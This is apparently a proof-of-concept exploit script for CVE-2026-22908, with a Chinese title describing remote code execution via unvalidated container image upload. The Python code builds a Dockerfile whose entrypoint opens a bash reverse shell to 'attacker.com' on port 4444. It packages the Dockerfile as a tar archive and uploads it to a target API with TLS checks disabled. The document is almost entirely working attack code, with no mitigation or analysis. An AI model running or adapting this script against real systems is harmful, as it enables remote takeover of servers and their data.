CVE-2026-22908 容器镜像上传未验证导致远程代码执行漏洞

# CVE-2026-22908 PoC - Malicious Container Image Upload # This PoC demonstrates the vulnerability of uploading unvalidated container images import requests import tarfile import io TARGET_URL = "https://target-system.com/api/container/upload" ATTACKER_IP = "attacker.com" ATTACKER_PORT = "4444" def create_malicious_image(): """Create a malicious container image with reverse shell payload""" # Create a minimal Dockerfile with reverse shell dockerfile_content = f''' FROM alpine:latest RUN apk add --no-cache bash nc curl RUN echo "#!/bin/bash" > /entrypoint.sh RUN echo "bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1" >> /entrypoint.sh RUN chmod +x /entrypoint.sh ENTRYPOINT ["/entrypoint.sh"] ''' # Create tar archive for container image image_tar = io.BytesIO() with tarfile.open(fileobj=image_tar, mode='w') as tar: # Add malicious Dockerfile info = tarfile.TarInfo(name="Dockerfile") info.size = len(dockerfile_content.encode()) tar.addfile(info, io.BytesIO(dockerfile_content.encode())) return image_tar.getvalue() def exploit(): """Upload malicious container image to exploit CVE-2026-22908""" malicious_image = create_malicious_image() headers = { 'Authorization': 'Bearer <valid_token>', 'X-Image-Name': 'malicious-image:latest' } # Note: No validation is performed on the uploaded image response = requests.post( TARGET_URL, files={'image': ('malicious.tar', malicious_image, 'application/x-tar')}, headers=headers, verify=False ) return response.status_code, response.text if __name__ == "__main__": print("[*] Exploiting CVE-2026-22908: Unvalidated Container Image Upload") status, resp = exploit() print(f"[*] Response Status: {status}") print(f"[*] Response: {resp}")